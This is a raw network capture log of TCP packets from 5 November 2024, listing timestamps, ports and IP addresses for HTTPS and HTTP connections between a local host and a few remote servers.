Nov 5, 2024 20:51:57.293145895 CET	443	50004	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.322015047 CET	443	50007	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.322828054 CET	50007	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.322841883 CET	443	50007	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.323385954 CET	50007	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.323393106 CET	443	50007	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.334855080 CET	443	50008	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.339320898 CET	50008	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.339342117 CET	443	50008	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.339924097 CET	50008	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.339929104 CET	443	50008	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.371687889 CET	443	50005	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.371742010 CET	443	50005	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.371829987 CET	50005	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.372026920 CET	50005	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.372045040 CET	443	50005	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.372092962 CET	50005	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.372100115 CET	443	50005	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.458355904 CET	443	50007	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.458417892 CET	443	50007	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.458491087 CET	50007	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.458802938 CET	50007	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.458802938 CET	50007	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.458813906 CET	443	50007	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.458820105 CET	443	50007	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.471014023 CET	443	50008	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.471074104 CET	443	50008	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.474956989 CET	50008	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.475260019 CET	50008	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.475270987 CET	443	50008	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.475301981 CET	50008	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.475306988 CET	443	50008	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:58.278085947 CET	443	50006	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:58.278879881 CET	50006	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:58.278894901 CET	443	50006	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:58.279308081 CET	50006	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:58.279316902 CET	443	50006	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:58.416650057 CET	443	50006	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:58.416711092 CET	443	50006	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:58.416893005 CET	50006	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:58.416944981 CET	50006	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:58.416959047 CET	443	50006	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:58.416965961 CET	50006	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:58.416970968 CET	443	50006	13.107.253.45	192.168.2.6
Nov 5, 2024 20:52:04.130697012 CET	50009	80	192.168.2.6	185.215.113.43
Nov 5, 2024 20:52:04.136543989 CET	80	50009	185.215.113.43	192.168.2.6
Nov 5, 2024 20:52:04.136621952 CET	50009	80	192.168.2.6	185.215.113.43
Nov 5, 2024 20:52:04.136745930 CET	50009	80	192.168.2.6	185.215.113.43
Nov 5, 2024 20:52:04.142529964 CET	80	50009	185.215.113.43	192.168.2.6
Nov 5, 2024 20:52:05.028881073 CET	80	50009	185.215.113.43	192.168.2.6
Nov 5, 2024 20:52:05.028974056 CET	50009	80	192.168.2.6	185.215.113.43
Nov 5, 2024 20:52:06.547224998 CET	50009	80	192.168.2.6	185.215.113.43
Nov 5, 2024 20:52:06.547390938 CET	50010	80	192.168.2.6	185.215.113.43
Nov 5, 2024 20:52:06.552669048 CET	80	50010	185.215.113.43	192.168.2.6
Nov 5, 2024 20:52:06.552874088 CET	50010	80	192.168.2.6	185.215.113.43
Nov 5, 2024 20:52:06.552874088 CET	50010	80	192.168.2.6	185.215.113.43
Nov 5, 2024 20:52:06.553100109 CET	80	50009	185.215.113.43	192.168.2.6
Nov 5, 2024 20:52:06.553199053 CET	50009	80	192.168.2.6	185.215.113.43
Nov 5, 2024 20:52:06.557797909 CET	80	50010	185.215.113.43	192.168.2.6
Nov 5, 2024 20:52:07.474062920 CET	80	50010	185.215.113.43	192.168.2.6
Nov 5, 2024 20:52:07.474137068 CET	50010	80	192.168.2.6	185.215.113.43
Nov 5, 2024 20:52:07.477442980 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:07.483115911 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:07.483196974 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:07.483280897 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:07.488583088 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.385762930 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.385788918 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.385804892 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.385849953 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.385889053 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.385991096 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.386051893 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.386051893 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.386069059 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.386085987 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.386089087 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.386111021 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.386130095 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.386146069 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.386161089 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.386174917 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.386188984 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.386205912 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.386221886 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.390832901 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.390860081 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.390908957 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.390935898 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.540221930 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.540268898 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.540292978 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.540323973 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.540348053 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.540384054 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.540394068 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.540420055 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.540436029 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.540458918 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.540471077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.540498018 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.540719032 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.540754080 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.540764093 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.540788889 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.540832996 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.541218996 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.541254997 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.541270018 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.541291952 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.541297913 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.541328907 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.541337013 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.541366100 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.541575909 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.541625977 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.541635036 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.541670084 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.541713953 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.541738987 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.541773081 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.541789055 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.541810036 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.541811943 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.541848898 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.542704105 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.542756081 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.542804003 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.542839050 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.542855978 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.542882919 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.545535088 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.545592070 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.545597076 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.545633078 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.545636892 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.545675039 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.694544077 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.694605112 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.694622993 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.694658041 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.694664955 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.694700956 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.694713116 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.694747925 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.694765091 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.694789886 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.694858074 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.694892883 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.694928885 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.694941998 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.694962978 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.694976091 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.695023060 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.695033073 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695080042 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.695133924 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695218086 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.695223093 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695256948 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695267916 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.695300102 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.695343018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695377111 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695391893 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.695411921 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695422888 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.695463896 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695466042 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.695518017 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.695786953 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695837975 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695873976 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695884943 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.695908070 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695911884 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.695943117 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695952892 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.695979118 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.695981979 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.696012974 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.696017027 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.696047068 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.696053982 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.696080923 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.696084023 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.696118116 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.696489096 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.696542025 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.696706057 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.696748972 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.696759939 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.696795940 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.696829081 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.696845055 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.696867943 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.696876049 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.696902037 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.696928978 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.696934938 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.696957111 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.696969986 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.696969986 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.697006941 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.697047949 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.697382927 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.697454929 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.697465897 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.697489977 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.697490931 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.697523117 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.697524071 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.697556973 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.697559118 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.697592020 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.697602034 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.697628021 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.697633982 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.697660923 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.697674036 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.697695971 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.697729111 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.697729111 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.697745085 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.697767019 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.697793007 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.697808027 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.699678898 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.699727058 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.849375963 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.849437952 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.849436998 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.849487066 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.849538088 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.849590063 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.849611998 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.849644899 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.849678040 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.849678040 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.849701881 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.849714994 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.849728107 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.849766970 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.849775076 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.849819899 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.849832058 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.849862099 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.849872112 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.849912882 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.849930048 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.849981070 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.849986076 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850033998 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850059986 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850069046 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850116968 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850148916 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850163937 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850183964 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850205898 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850235939 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850260973 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850275040 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850311995 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850315094 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850348949 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850364923 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850399017 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850423098 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850433111 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850464106 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850486040 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850514889 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850538969 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850550890 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850575924 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850585938 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850595951 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850621939 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850645065 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850655079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850681067 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850693941 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850699902 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850729942 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850758076 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850764990 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850789070 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850816011 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850827932 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850850105 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850852966 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850888014 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850912094 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850922108 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.850948095 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.850967884 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851003885 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851030111 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.851037025 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851073980 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851080894 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.851106882 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851131916 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.851140976 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851172924 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851197958 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.851207018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851241112 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851264000 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.851277113 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851306915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851325035 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.851361990 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851387024 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.851397038 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851427078 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851452112 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.851459980 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851495028 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851521015 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.851528883 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.851655006 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.856635094 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.856712103 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.856744051 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.856745005 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.856776953 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.856844902 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.856934071 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.856969118 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.857003927 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.857014894 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.857047081 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.857090950 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.857141018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.857172966 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.857199907 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:08.857223988 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:08.857259035 CET	80	50011	185.215.113.16	192.168.2.6
